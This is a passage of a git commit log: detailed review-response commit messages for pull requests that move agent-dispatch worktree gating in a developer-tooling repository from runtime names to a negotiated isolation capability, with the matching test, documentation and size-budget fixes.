pre-selection rationale still claimed an absent key already resolves to false on
this runtime, and the explicit-true notice still stated the runtime declares no
primitive — both capability verdicts that were never reached. The substitution
rule now covers every place in that branch that asserts one.

Major 3. The repinned invariants could not catch the mutation they existed to
catch: flipping the shipped block's ISOLATION_RESOLVED=true to false left all
three green, since they only assert the raw read is present, the token appears,
and the collapsing fallback is gone. Added a behavioral test that drives the
shipped W024 block twice — resolver answering vs resolver exiting non-zero — and
asserts the two emit different text, that the unresolved branch says "could not
resolve", and that it does NOT claim the runtime has no primitive. Verified: the
true->false mutation now reds it.

Major 1. The verb fail-closes an unknown or undeclared runtime to `none` and
exits 0, so ISOLATION_RESOLVED=true means "the query answered", not "the runtime
published a declaration" — the shell cannot see an internal fallback. Exposing
provenance is an API change and out of scope here, so W024's resolved-case text
is instead written to be true of every path that reaches it ("no usable
executor-isolation primitive — declared or fail-closed from an unknown value"),
and both workflows state the limit of the signal explicitly.

Minor 4. The rejection tests regex-matched human prose, so swapping
ERROR_REASON.USAGE for UNKNOWN would have kept them green while breaking machine
consumers. They now pass --json-errors and assert reason === 'usage' on the
parsed envelope.

Minor 6. CONTEXT.md still described the verb as side-effect-free. Now
sentinel-free, consistent with the router comment and the other two surfaces.

Minor 7. 183 bytes of headroom under the 40960 hard cap was called
unacceptable, and it was — a routine 184-byte edit would have failed CI.
Compressed this PR's own settings.md prose (the #2486 block was carrying ~7.1KB
of rationale) to 40499 bytes, 458 free. Two phrases other tests pin verbatim
were restored after the first compression pass reworded them.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): third review pass — placeholder table replaces the fragile substitution rule

Codex round 3 blocked the push on two Majors. Both verified and real.

Major 2 was the substantive one and my error. The round-2 fix told the model to
find and replace the string "this runtime declares no executor-isolation
primitive (dispatch.isolation: none)" — text that does not appear anywhere in
the branch. The first option description has no parenthetical, the second
asserts "absent, it already resolves to false on this runtime" (not covered at
all), and the pre-selection rationale and notice carried three more unsupported
assertions. A model following the instruction literally would have found no
match and changed nothing.

Replaced with three named placeholders — {FINDING}, {CONSEQUENCE}, {ABSENCE} —
and a two-column table giving each one's resolved and unresolved wording. Every
assertion in the branch now flows from the table, so none of them can outrun
what was actually established, and there is no string-matching to get wrong. It
is also shorter than the prose it replaced.

Major 1: the resolver catches thrown errors and returns none successfully, a
path the round-2 wording ("declared, or unknown/undeclared") did not cover.
Both surfaces now say "declared as none, or fail-closed because the capability
could not be determined", which is true of the thrown path too, and both state
that an internal resolution error is among the things the verb fail-closes.
Still not provenance — the verb cannot distinguish these for the caller — but no
longer a claim the code contradicts.

Minor 3: the behavioral test asserted only that the two branches differ and that
the resolved one omits "could not resolve", so arbitrary resolved text stayed
green. Now pins what it must positively say: the capability finding, the
fail-closed consequence, the offending key, and (both branches) the repair
command.

Minor 4: two stale artifacts the round-2 sweep missed — a test comment still
citing the #2728-only references/dispatch-isolation-gate.md, and the emitted
drift ack still describing inspection as side-effect-free. Also aligned the two
remaining router comments to sentinel-free.

settings.md 40420 bytes, 540 free under the cap.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): fourth review pass — stop recommending a repair whose effect depends on the emit

Codex round 4, one Major and three Minors. The Major is a real hole and worth
the round.

W024 advised "remove the key from .planning/config.json so the runtime default
(false) applies". That default is not false everywhere: execute-phase.md:102,
quick.md:155 and diagnose-issues.md:62 all read the key as
`|| echo "true"`, and only `_stampNonClaudeRuntimeDefaults` rewrites them to
`--default false` on a non-Claude emit. So on an un-stamped emit the advised
repair leaves use_worktrees resolving to TRUE against isolation none — exactly
the state W024 exists to flag. Reachable in the round-3 gap: a caught internal
resolver error returns none with rc=0, so ISOLATION_RESOLVED is true and the
confident branch fires on a host whose emit was never stamped.

Fixed by removing the dependence rather than the symptom: both surfaces now say
to set workflow.use_worktrees false explicitly, and say why deleting the key is
not equivalent. The {ABSENCE} placeholder no longer claims absence resolves to
false unconditionally — it is scoped to an emit that stamped that default.

Minor: the notice and W024 hardcoded .planning/config.json, which is the wrong
file in an active workstream (settings itself resolves $GSD_CONFIG_PATH
correctly). Both now say "the project config", naming the workstream case.

Minor: the new repair pin required the literal /gsd:settings, a form documented
as no longer routable. Relaxed to accept the canonical slash and $-prefixed
forms so a correct rewording cannot fail the test.

Nit: two test descriptions still said side-effect-free.

Not fixed, deliberately: the verb still cannot tell a caught resolver error from
a declared none, so ISOLATION_RESOLVED remains a signal about the CALL, not the
declaration. Both workflows now state that limit outright. Exposing provenance
is a change to the query contract that belongs with the runtime-resolution work
in #2395, not here.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d. The only change after that
suite run was removing a redundant regex escape flagged by eslint; that test was
re-run individually and eslint is clean.

* fix(#2486): fifth review pass — stop recommending "leave it absent" as the safe default

Codex round 5, one Major: the round-4 fix corrected the {ABSENCE} wording but
left the pre-selection rule built on the assumption it had just falsified. An
absent key still pre-selected "Leave unchanged" on the rationale that there was
nothing to repair. Absence resolves to false only where the emit stamped that
default; on an un-stamped emit it reads as true, so accepting the recommended
default could preserve the exact isolation-none-plus-true state this branch
exists to prevent.

The isolation-none branch now pre-selects "No (Recommended)" in every case,
including an absent key. Writing an explicit false is correct under either emit;
"Leave unchanged" stays available for the deliberate shared-config case but is
never the default. The test that pinned the old rule pinned a falsified
assumption, so it now pins the new one and asserts the old sentence is gone.

Also tightened the round-4 repair regex, which had been relaxed far enough to
accept `$gsd:settings` and `/gsd:settings-bogus`. It now matches only the
canonical `/gsd-settings`, `/gsd:settings` and `$gsd-settings` forms.

settings.md 40685 bytes, 275 free.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): make the inspection exemption block-scoped, and drop the last pre-#2728 claim

Codex review of the conflict resolution: one Major, two Minors, all real.

Major. The inspection-surface exemption I added to #2728's "every dispatch-site
degrade block re-records" guard was FILE-wide. Codex probed it by adding an
unrecorded executor block to health.md: the exemption assertions still passed,
the whole file was skipped, and the offender went unreported. That is the same
hole the hand-listed revision of this guard had — a promise of "every dispatch
site" with a silent carve-out.

Now scoped per block. A block earns the exemption only by resolving through
`inspect-dispatch-isolation` AND carrying no dispatch primitive (`Agent(`,
`harnessFlag`/`HARNESS_FLAG`, `isolation="worktree"`, or the recording verb).
The file-level assertions remain as a precondition on top. Verified with Codex's
own probe: the appended dispatch block is now reported at health.md:285, while
the legitimate inspection block still passes.

Minor. settings.md still carried the caveat saying `quick.md` gates on the
runtime name and "#2728 converts that surface". #2728 has landed. Same obsolete
premise already removed from docs/CONFIGURATION.md in the merge commit; this was
the copy I missed. Removing it also returns 413 bytes, so settings.md now has
688 free under the 40960 cap rather than 275.

Minor. Four scratch-directory prefixes still read `w024` after the renumber.
Non-functional, but the whole point of the rename was that W024 now means
someone else's warning.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next.

* fix(#2486): name the diagnostics' state INSPECTED_ISOLATION and delete the exemption

Codex probed the per-block exemption and it was still escapable: DISPATCH_PRIMITIVE
matched only `Agent(`, two harness-flag spellings, `isolation="worktree"` and the
recording verb, so `Task(`, `spawn_agent(`, a `codex exec` process dispatch, and —
unfixably by any regex — the repo's normal split shape (isolation resolved in one
bash fence, dispatch in a later one) all still qualified as exempt.

Took Codex's suggested fix, which is better than the one it replaces. The
diagnostics now name their state `INSPECTED_ISOLATION` / `INSPECTED_RESOLVED` /
`_INSPECTED_RAW` instead of reusing the dispatch-site names. #2728's guard scans
for a literal `ISOLATION=none`, so health.md and settings.md fall outside it BY
CONSTRUCTION and the exemption is deleted outright — no carve-out to escape, and
a diagnostic that ever writes a real `ISOLATION=none` is caught like any other
site. The name is also just more accurate: an inspection result is not a dispatch
decision.

Pinned so the reasoning cannot be lost: the #2486 suite now asserts neither
diagnostic assigns the bare `ISOLATION` name, with the rationale in the comment.
Verified by mutation — renaming back makes #2728's guard flag health.md:107 AND
fails the new naming pin.

Net effect on the guard's coverage is positive: before this PR it scanned two
fewer files by exemption; now it scans everything.

settings.md 40352 bytes, 608 free.

Validated: lint:ci clean; full suite green except the two failures that reproduce
identically on pristine next.

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 20:45:08 -04:00
Behruz Nassre Esfahani
2076d450d7 fix(#2652): gate quick/diagnose dispatch on dispatch.isolation, not the runtime name (#2728)
* fix(#2652): gate quick/diagnose dispatch on dispatch.isolation, not runtime name

quick.md and diagnose-issues.md kept the pre-#2584 `RUNTIME != "claude"`
worktree gate, so every non-Claude runtime failed closed regardless of the
capability it negotiated — including Codex, which declares
orchestrator-worktree. Route both through the negotiated dispatch.isolation
seam via a new shared reference, and migrate the two execute-phase reference
fragments that carried the same runtime-name gate.

- new gsd-core/references/dispatch-isolation-gate.md: canonical ISOLATION
  resolution, harness-flag resolution, single-agent degrade rule
- quick.md / diagnose-issues.md read the gate; dispatch uses the {harnessFlag}
  placeholder rather than a hardcoded isolation="worktree"
- execute-phase-wave-guard.md / execute-phase-between-wave-reset.md: migrate
  [ "$RUNTIME" = "claude" ] -> [ "$ISOLATION" = "harness-worktree" ]
- every degrade site now clears BOTH USE_WORKTREES and ISOLATION; clearing one
  dispatched an isolated agent with no base guard and no manifest
- parity guard in host-integration.test.cjs scans workflows AND references and
  matches six reintroduction shapes
- migrate four tests that pinned the pre-#2584 runtime-name contract

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): use the /gsd:<cmd> namespace in the isolation degrade messages

The degrade warnings cited /gsd-execute-phase, the retired hyphen form that
slash-command-namespace.test.cjs rejects in Claude-facing source. Same length,
so the quick.md size budget is unaffected.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore(#2652): add changeset for PR #2728

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): normalize dispatch-site paths to forward slashes for Windows

path.relative() returns backslash-separated paths on Windows, so the
#2652 dispatch-site parity test compared "gsd-core\workflows\quick.md"
against the hardcoded forward-slash literal "gsd-core/workflows/quick.md"
and failed on every windows-latest CI lane. Normalize with
.replace(/\\/g, '/'), matching the existing convention used elsewhere in
this suite (e.g. tests/branch-no-track-guard.test.cjs:37).

* test(#2652): restore the size-growth acknowledgment

The rebase dropped tests/emitted-drift-ack.json. #2757/#2758 fixed the
ATTRIBUTION axis, but the SIZE-GROWTH axis is independent: diagnose-issues.md
(+2086) and quick.md (+230) still need an ack naming them and saying why.

Verified: 65/66 without it (both files named), 66/66 with it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): convert execute-plan.md Pattern A onto the dispatch-isolation gate

Pattern A hardcoded `isolation="worktree"` — Claude Code's own literal —
gated only on `workflow.use_worktrees`, with no capability negotiation at
all. It is the same defect #2652 fixes at the other four sites, just a
different shape: the file contains no RUNTIME variable, so the new detector
correctly does not flag it.

Concrete break: a Codex user who follows this PR's own newly-documented
pattern and sets `workflow.use_worktrees: true` to get isolated dispatch via
/gsd:quick then runs a plan through /gsd-execute-plan Pattern A, and hits an
unconverted path — either an Agent() call erroring on an unrecognized
parameter or silent unisolated execution, depending on host tolerance.

Pattern A is a single-agent dispatch site through the host's own subagent
tool, so it takes the same treatment as quick.md and diagnose-issues.md:
resolve ISOLATION/HARNESS_FLAG through the canonical reference, degrade to
sequential on orchestrator-worktree hosts, and substitute the host's declared
{harnessFlag} instead of Claude Code's literal.

while the area was open.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(#2652): add the INVENTORY row for dispatch-isolation-gate.md, refresh CONTEXT

Two bookkeeping gaps flagged in review:

INVENTORY.md had no row for the new gsd-core/references/dispatch-isolation-gate.md.
INVENTORY-MANIFEST.json was regenerated correctly and its --check only diffs a
live directory scan against the committed manifest, so CI passed regardless —
but gen-inventory-manifest.cjs's own stderr guidance says to add the matching
INVENTORY.md row. This is the repo's named "Inventory Drift" pattern. Placed
with the dispatch/isolation cluster (worktree-branch-check, runtime-aware-dispatch)
rather than alphabetically, matching how that table is grouped.

CONTEXT.md's Host-Integration Interface entry still described dispatch.isolation
as "declared and negotiated but not yet consumed by any scheduler — Phase 1 of
#2584". That was already stale before this PR (execute-phase graduated in Phase 3)
and more so now with three single-agent dispatch sites consuming it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): detect reversed-operand runtime gates; add a permutation property

All five reintroduction regexes assumed $RUNTIME on the LEFT of the
comparison, so `[ "claude" != "$RUNTIME" ]` — the same gate written
backwards — evaded every one of them. Verified against the old patterns
before fixing: all four reversed shapes (single bracket, double bracket,
test builtin, JS template) scored EVADED.

Each comparison shape is now generated in both operand orders from a single
template, so a shape cannot be added in one order and forgotten in the other.
The mutation table gains the four reversed cases.

Also adds the fast-check property review suggested in place of the hand-rolled
cases: it generates the cross product of the axes an author actually varies —
bracket form, operator, operand order, quoting, spacing, runtime id — so a
permutation the hand-written patterns miss surfaces here rather than in
production. The 11 explicit cases stay as named regression anchors.

execute-plan.md joins the scan's required-identities list now that it is a
converted dispatch site.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): acknowledge the execute-plan.md size growth

The Pattern A conversion adds 811 bytes to an emitted workflow. Per #2719 the
size axis needs its own acknowledgment, independent of attribution.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): repin the execute-plan.md PROSE_ALLOWLIST line after the rebase

The #2751 command-position gate pins its prose exemptions by line number.
This branch inserts the dispatch-isolation resolution above the
`validated downstream by gsd-tools uat classify-coverage` sentence, moving
it from execute-plan.md:387 to :397 — which fired the gate twice for one
displacement (an un-allowlisted mention at 397, a stale entry at 387).
The prose itself is unchanged from next; only the pin moves.

Fixes #2652

* fix(#2652): gate the #2649 base-check on ISOLATION in diagnose-issues.md

The rebase onto next merged #2649's pre-dispatch base-check textually, but
its degrade flipped USE_WORKTREES after ISOLATION was already resolved, so
the degrade never reached the dispatch decision. Gate the block on
ISOLATION = "harness-worktree" and degrade ISOLATION itself, the same
pairing quick.md already uses.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2652): key quick.md post-dispatch bookkeeping on ISOLATION, not the Claude literal

Review Blocker: the manifest append (l.822), worktree merge-back (l.825), and
its skip clause (l.839) all conditioned on the literal isolation="worktree" —
Claude Code's own rendering of {harnessFlag}. Cursor renders --worktree, so a
newly-unblocked isolated Cursor run created a worktree whose committed work
was never merged back and never cleaned up, silently. All three now key on
ISOLATION = "harness-worktree" at dispatch.

The existing parity detector cannot catch this class (its ISOLATION_TOKEN
treats the literal as a legitimate marker), so this adds a dedicated
literal-condition detector with a discrimination proof against both pre-fix
sentences, a benign-mention control, and a positive pin on all three
re-keyed conditions. Verified fail-first against the pre-fix quick.md.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2652): scope the use_worktrees=false install stamp to isolation=none runtimes

`_stampNonClaudeRuntimeDefaults` rewrote every non-Claude runtime's
`workflow.use_worktrees` read to `--default false`. That default resolved
before `gsd_run query dispatch-isolation` was ever consulted, so the five
runtimes that declare worktree support — cursor (harness-worktree) and
codex/opencode/kimi/kimi-code (orchestrator-worktree) — got ISOLATION=none
regardless of what they negotiated. The gate this PR migrates dispatch onto
was therefore still deciding isolation by runtime name, one layer down.

The stamp's #1521 premise was that worktree isolation *was* Claude Code's
isolation="worktree" spawn parameter, which no other host honored. #2584
replaced that premise with the negotiated capability. The stamp is now scoped
to runtimes whose negotiated isolation really is `none`, where the default it
writes is the outcome the resolver reaches anyway.

`_negotiatedDispatchIsolation` mirrors routeDispatchIsolation's resolution
against the same registry — closed vocabulary, a harness-worktree host must
declare its flag, an orchestrator-worktree host must carry a descriptor that
resolves — and fails closed to `none` on anything else, so an undeclared or
unknown runtime keeps today's behavior.

Two #1515 tests pinned the superseded premise for codex and are re-pointed at
the new contract rather than deleted: the safety property they protect is now
held by the isolation gate's fail-closed resolution, not by a name-scoped
install-time default. Verified fail-first — all five assertions red against
the pre-fix source, green after.

* test(#2652): acknowledge the emitted ripple and re-point the end-to-end stamp proof

Scoping the use_worktrees stamp changes emitted output, and two gates caught it.

`gsd-core/workflows/execute-phase.md` now differs at emit time for the five
hosts that declare worktree support (cursor harness-worktree; codex, opencode,
kimi, kimi-code orchestrator-worktree) — the source file is byte-identical, only
the stamp is gone. Acknowledged in this PR's fragment.

`tests/install.test.cjs`'s real-install assertion pinned the superseded premise
end-to-end, asserting codex receives `--default false`. Re-pointed rather than
deleted, matching the two unit tests: it now proves codex keeps the unstamped
`true` read. A second arm installs windsurf — which declares isolation `none` —
and asserts the false stamp is still applied there, so the change cannot
silently degrade into "never stamp" without a test noticing.

The ack entry collides with `2658-trae-instruction-file-path.json`, which is
fully spent (merged via #2925, so all 25 of its entries are present at base and
gate nothing) and is pruned for the same reason and by the same rule as the
spent `2649-*` fragment this PR already removed. #2566 prunes the same file for
the same collision on `new-project.md`; a delete/delete merges cleanly either
way, and the base-side cleanup would make both unnecessary.

* fix(#2652): re-record the sentinel when a dispatch site degrades isolation

Review Blocker B1/B2/B3. Every isolation degrade in a dispatch site is decided
in shell, where routeDispatchIsolation cannot see it. That resolver persists
whatever it resolved to the run-scoped sentinel as an unconditional side effect
(#3045), so a degrade that only reassigns $ISOLATION leaves the sentinel
asserting harness-worktree while the dispatch correctly omits the harness flag.
The shipped PreToolUse guard reads the sentinel at the instant of the Agent()
call and denies that mismatch with exit 2 — the work does not run unisolated,
it does not run at all. Latent on this branch and lands on rebase, since
8f75e275 (#3045) is not yet in the merge-base.

Four sites now push the final shell-computed value through the same single
write path with --force-isolation, matching the idiom #3045 established in
executor-isolation-dispatch.md:

  - quick.md, after the #1941 base-check degrade
  - diagnose-issues.md, after the config-gate degrades and after #2649's
  - execute-plan.md Pattern A, before spawning
  - references/dispatch-isolation-gate.md, both degrade paths, plus a new
    "Re-record after every degrade" section — the canonical file taught the
    defect, so fixing only the call sites would leave the source of truth wrong

Tests assert the RECORDED value, not $ISOLATION. Asserting the local variable
is what let this class through: $ISOLATION was already `none` at every site and
the defect was entirely in what reached the sentinel. Each workflow's own
degrade block is executed under a gsd_run stub that captures the write, with a
fail-first proof that the pre-fix shape records nothing (while $ISOLATION reads
`none` in both), plus a coverage guard so a new degrade site cannot skip it.

Also corrects the drift-ack rationale (review Minor 5): @-references are
eagerly inlined, so extracting the gate does not reduce loaded context. The
reason to extract is single-sourcing across five dispatch sites.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2652): satisfy the new CRLF-portability and cleanup lint rules in host-integration.test.cjs

next's local/no-crlf-fragile-split and no-raw-rmsync-in-tests rules now
cover the fenced-block regexes, log-line split, and temp-dir removal this
suite added: bash-fence matchers and line counting accept \r\n, and the
raw fs.rmSync becomes helpers.cleanup (Windows-EBUSY retry budget).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2652): restore next's 2658 ack fragment, minus the one colliding key

trek-e (PR #2728, 2026-08-07): the branch deleted
tests/emitted-drift-acks/2658-trae-instruction-file-path.json wholesale
while next had modified it. That was correct against the 08-03 base, where
the fragment was fully spent; it is wrong against next @ 1d208e5a, which
still carries 23 live entries.

next's copy is restored byte-identical except for the single key that
genuinely collides with this PR's own fragment,
gsd-core/workflows/execute-phase.md. Both acks name that path for
different deltas -- 2658's is the trae CLAUDE.md replacement-target
rewrite, ours is the emit-time _stampNonClaudeRuntimeDefaults ripple from
review round 3. Per the ack-lifecycle law (#2789), an entry already at the
base is spent and inert, so this PR's entry is the live one and 2658's is
dropped.

This follows the guidance given on #2566 in the 08-06 round: "Regenerate
rather than delete -- the collision is one entry."

Verified: lint-emitted-drift-ack ok (0 problems, 357 keys, no cross-source
duplicates); emitted-attribution 170/170 with GSD_EMITTED_BASE=upstream/next;
host-integration 222/222; runtime-converters 130/130.

* fix(#2652): bound the degrade-harness spawn and close the round-6 majors

B1 (CI red, ours): tests/host-integration.test.cjs spawned bash with no
timeout, violating local/no-unbounded-spawn. `next` deleted the allowlist
outright (#3148), so the merge-commit run flags it even though this branch
still carries the file's grandfathered entry. Bounded at 15s, with a named
failure on timeout/signal rather than an opaque `exited null`.

M1: add a parity test between `_negotiatedDispatchIsolation` (install time)
and `routeDispatchIsolation` (dispatch time). Both read the same capability
registry and the same `resolveOrchestratorExec`, but duplicate the DECISION
on top of them across two surfaces with no call edge between them, so neither
symbol appears in the other's impact graph and nothing static can catch them
drifting apart. The resolver leg drives the real gsd-tools CLI per registered
runtime, both ways it is really called: with `--cwd-target` (the executor
spawn, which resolves the orchestrator descriptor — the same question install
time asks) and without it (the `Resolve ISOLATION` call every dispatch site
makes first, which does not). The second leg is what catches an orchestrator
host whose descriptor stops resolving: the install would stamp
`use_worktrees=false` while the workflow gate still reported
`orchestrator-worktree`.

M2: add install-level Cursor coverage. A real `--cursor` install, then the
gate blocks that install emitted, run against the gsd-tools that install
emitted, with the runtime declared through `.planning/config.json` — the tier
`resolveRuntime` actually reads — and any ambient GSD_RUNTIME blanked, so the
install has to reach the right resolver on its own. It then performs the
documented `{harnessFlag}` substitution against the `Agent()` call that
install emitted and asserts on the rendered dispatch: exactly one emitted
Agent() call carries the slot, it is the gsd-executor / gsd-debugger dispatch
rather than some other call in the same file, and rendering it yields
`--worktree` with no residual placeholder and no `isolation="worktree"`.
This is artifact-level — it proves the emitted wiring, not a live Cursor
host invocation. Asserting the shell variable alone would have stayed green
if the placeholder were deleted from the emitted dispatch, or drifted onto
the reviewer call beside it.

M3: diagnose-issues.md inlined a reordered copy of the reference this PR
introduces as the single source of truth. It now reads the reference the
same way quick.md and execute-plan.md do; the drift-ack entry is corrected
to describe what the file actually contains, and to name the four files that
reference the gate rather than claiming five.

M4: CONTEXT.md still called `resolveOrchestratorExec` UNCONSUMED in the same
paragraph this PR edits. It has been consumed since #2584 Phase 3 — routed
through `query dispatch-isolation --json` and process-spawned by
executor-isolation-dispatch.md — and #2652 adds a second consumer.

Every new assertion verified fail-first against a real mutation: cursor's
negotiated isolation (breaks the target-bound parity leg), the no-target
orchestrator branch in routeDispatchIsolation (breaks the gate parity leg),
cursor's harnessIsolationFlag (breaks the resolved value), deleting
`{harnessFlag}` from quick.md's emitted Agent() call (breaks the slot), and
moving it onto the code-reviewer dispatch (breaks the wrong-call guard).

Refs #2652

* fix(#2652): serialize unisolated diagnosis, scope the execute-plan gate to dispatching patterns

Round-7 review findings (independent cross-AI pass over the whole PR against
the current base).

BLOCKER — diagnose-issues.md announced sequential mode and then fanned out.
The `orchestrator-worktree` degrade sets ISOLATION=none and prints "debug
agents run sequentially on the main working tree", but the spawn step still
said "All agents spawn in single message (parallel execution)". On Codex,
OpenCode and Kimi that dispatched N unisolated debuggers concurrently against
the primary checkout — the exact outcome the degrade exists to prevent, and
reachable only because this PR removed the FATAL that used to stop those
hosts earlier. Fan-out is now keyed on ISOLATION: parallel only when each
agent has its own worktree, one at a time otherwise.

BLOCKER — execute-plan.md Pattern B could not dispatch at all on Claude or
Cursor. The gate recorded `harness-worktree` to the #3045 sentinel, but only
Pattern A carries `{harnessFlag}`; Pattern B's segment executors carry none,
and `hooks/gsd-agent-isolation-guard.js` blocks precisely that mismatch with
exit 2. Segments are unisolated BY DESIGN — each continues on the working
tree the previous one left behind, so per-agent worktrees would break the
sequence — so Pattern B now records `none` before its first dispatch and
dispatches without the flag.

MAJOR — the same gate ran before routing was chosen, so an isolation-`none`
host with `use_worktrees=true` hit the fail-closed FATAL even when routing
would have selected Pattern C, which is fully inline and dispatches nothing.
Resolution now happens after the pattern is known, and Pattern C skips it.

MAJOR — tests/host-integration.test.cjs fed `fs.readFileSync` output straight
to bash. The `\r?\n` fence regex guards only the delimiter, leaving embedded
CR on every line of the captured body — DEFECT.WINDOWS-CRLF-TEST-PORTABILITY,
which helpers.cjs documents by name. Now reads through `readFileNormalized`.

MAJOR — the "every dispatch-site degrade block re-records" test hand-listed
three files, so its name was a claim its scan could not support. The scan is
now derived from the workflow/reference tree (SCAN_ROOTS/collectMarkdown
hoisted to module scope so there is one definition, not two). Verified
fail-first against execute-plan.md — a file the previous scan never opened.
The two wave fragments are exempt because they delegate the re-record to
per-plan-worktree-gate.md via USE_WORKTREES_FOR_PLAN; that delegation is now
ASSERTED, so deleting the delegate fails this test instead of widening a hole
silently.

MINOR — the changeset claimed the FATAL was gone for "non-Claude runtimes"
full stop. Narrowed: isolation-`none` hosts still fail closed when worktrees
are explicitly enabled, which is the contract rather than the defect.

Two further findings were investigated and rejected, with evidence:
- Raw `spawnSync` vs `tests/helpers/process-seam.cjs`: the seam exposes
  runNode/runGit/runHook and cannot express the `bash -c` harness these tests
  need; `installAndRead` in this same file is byte-identical to the base and
  still uses raw spawnSync with an explicit timeout, which is the form the
  lint sanctions. Migrating only the new call sites would split the file's
  convention for no safety gain.
- `pending-migration-to-typed-ir` on the runtime-converters parity test: the
  annotation and the rendered-text loop both exist at the merge-base under
  #3090. This PR extends an already-tracked test rather than adding a new one
  under a category CONTRIBUTING closes to new tests.

Refs #2652

* test(#2652): re-point the execute-plan prose allowlist at its shifted line

`PROSE_ALLOWLIST` in tests/no-bare-gsd-tools-command-position.test.cjs keys
entries by LINE NUMBER. The previous commit added the post-routing isolation
block to execute-plan.md, which pushed the `validated downstream by
gsd-tools uat classify-coverage` prose mention from line 397 to 414. That
broke the guard in both directions at once: the entry at 397 went stale, and
the real mention at 414 became an unallowlisted offender.

Caught by CI (7 red jobs, all shard 3/3 plus ubuntu-22) rather than locally,
because I verified only the suites I believed the change touched. Any edit to
a workflow .md shifts line numbers, and this repo carries line-keyed
allowlists — so a workflow edit needs the full suite, not a subset.

Refs #2652

* test(#2652): route the new subprocesses through the process seam

Retracting a rejection I made on the record. In the round-6 response I
argued these call sites could keep a hand-rolled `spawnSync` because the
seam exposes only runNode/runGit/runHook and cannot express `bash -c`, and
because `installAndRead` in the same file uses that shape. The first half
was true and irrelevant, the second half is not a licence: CONTRIBUTING is
unambiguous — "Anything that shells out goes through
tests/helpers/process-seam.cjs — never a hand-rolled spawnSync/execFileSync
in your suite", and "Never use try/finally inside test bodies."

`runHook` already documents `interpreter: 'bash'` for running a shell
script, so writing the harness to a file complies without extending the
seam. I had the rule and the seam's own documentation in front of me and
reasoned around both.

Converted:
- host-integration.test.cjs degrade harness: spawnSync('bash', ['-c', …])
  → runHook(scriptFile, [], { interpreter: 'bash' }).
- install.test.cjs cursor gate: `which bash` probe → process.platform;
  the installer spawn → runNode(…, { env: installSpawnEnv({HOME,
  USERPROFILE}) }), which also blanks ambient GSD_HOME/runtime-location
  vars that could otherwise make capability discovery host-dependent;
  the emitted-gate spawn → runHook(gateScript, [], { interpreter: 'bash' }).
- Three try/finally test bodies → t.after().

Class-norm timeouts: tests/helpers/timeouts.cjs arrived with this branch's
latest base merge, so the literals written earlier (15000/120000/60000) now
duplicate PROBE_TIMEOUT_MS and INSTALL_TIMEOUT_MS. Imported instead — that
module exists because INSTALL_TIMEOUT_MS had already drifted 60s→120s once
after a real bench ETIMEDOUT.

Deliberately NOT converted: `installAndRead`'s spawnSync, which is
byte-identical to the merge-base and predates this PR — converting shared
scaffolding is an unrelated change.

Verified equivalent, not assumed: argv/cwd/env/encoding/timeout and every
assertion are preserved; t.after() still cleans up on the assertion-failure
path the try/finally covered; and the cursor test still resolves Cursor
under a hostile ambient GSD_RUNTIME=claude.

Refs #2652

* fix(#2652): replace the falsified use_worktrees doc row; distinguish an unresolvable gate from a declared none

Round-8 review findings.

BLOCKER — docs/CONFIGURATION.md's `Non-Claude note` asserted three things
this PR overturns: that worktree isolation "no other runtime honors"
(Cursor declares harness-worktree with `--worktree`, and this PR's own
install test asserts that flag reaching the emitted Agent() slot), that
non-Claude installs default the key to `false`, and that forcing `true`
always fails closed. Replaced with the capability-based description, and
the `#1515, #1521` citation dropped — those are the two issues whose
premise this PR removes.

The reviewer flagged that the fix is merge-order dependent, because #2531
rewrites the same row and its replacement text is written in anticipation
of this PR landing. Rather than pick an order, BOTH sides are now
order-independent: #2531's "Current default … until #2652" paragraph
becomes a plain troubleshooting note, and this row states the capability
rule without asserting a stamp state. Whichever merges first, the row is
correct; the second merge is a textual conflict at worst.

MINOR — the gate reported a capability verdict the tool never returned.
`ISOLATION=$(… || echo "none")` made a shim-resolution failure, a non-zero
exit and an empty stdout indistinguishable from a declared `none`, so a
transient query failure aborted /gsd:quick on Claude Code with "runtime
'claude' declares no executor-isolation primitive" — false. The gate now
tracks ISOLATION_RESOLVED separately: both paths still fail closed, but only
a real verdict claims the host declares nothing; the unresolved branch says
it could not resolve and points at the shim. Fixed in the canonical
reference so every dispatch site inherits it.

MINOR — quick.md:527 cited #2649 for its own degrade; that is #1941, and
#2649 is the diagnose-issues/execute-plan gate. Corrected, and the
distinction stated so the next reader does not chase it.

MINOR — quick.md:413 (manifest init) and :429 (worktree_branch_check embed)
still branched on USE_WORKTREES while dispatch, manifest-append, merge-back
and the skip clause had all moved to ISOLATION. Safe only by coincidence —
both now key on ISOLATION.

MINOR — the diff removes a second drift-ack entry (the execute-phase.md key
from 2658-trae-instruction-file-path.json), forced by the same duplicate-key
lint rule as the 2649 removal. Disclosed in the PR comment; the earlier
disclosure covered only one of the two.

Verified: lint:ci green; 300/300 across host-integration,
fix-1941-quick-worktree-stale-base, execute-phase-wave and workflow-guard.

Refs #2652

* test(#2652): anchor the emitted-gate finder on the heading, not the assignment

`b89c3fbf` added a finder that located the gate's `Resolve ISOLATION` block by
the literal `ISOLATION=$(gsd_run query dispatch-isolation --raw`. `f3bccf21`
then split that assignment into `_ISOLATION_RAW`/`ISOLATION_RESOLVED` so a shim
